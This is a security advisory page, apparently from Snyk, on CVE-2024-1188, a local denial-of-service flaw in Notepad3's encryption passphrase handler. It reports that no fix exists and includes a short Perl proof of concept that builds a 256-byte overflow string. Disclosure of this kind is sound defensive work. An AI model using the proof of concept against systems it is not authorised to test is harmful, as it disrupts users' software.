Improper Resource Shutdown or Release Affecting rizonesoft/Notepad3 package, versions [1.0.2.350,]


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-RIZONESOFTNOTEPAD3-6231836
  • published8 Feb 2024
  • disclosed2 Feb 2024
  • creditFernando Mengali

Introduced: 2 Feb 2024

CVE-2024-1188  (opens in a new tab)
CWE-404  (opens in a new tab)

How to fix?

There is no fixed version for rizonesoft/Notepad3.

Overview

Affected versions of this package are vulnerable to Improper Resource Shutdown or Release via the Encryption Passphrase Handler component. An attacker can disrupt normal operations by manipulating the process to trigger a service interruption.

Note:

This is only exploitable if the attacker has local access to the system.

PoC

#!/usr/bin/perl

my $exploit = "A" x 256;

eval {
    open(my $f, '>', 'exp.txt') or die "Cannot open file: $!";
    print "[+] Creating " . length($exploit) . " bytes.\n";
    print $f $exploit;
    close $f;
    print "[+] Exploit file created!\n";
};

if ($@) {
    print "File cannot be created.\n";
}

References

CVSS Scores

version 3.1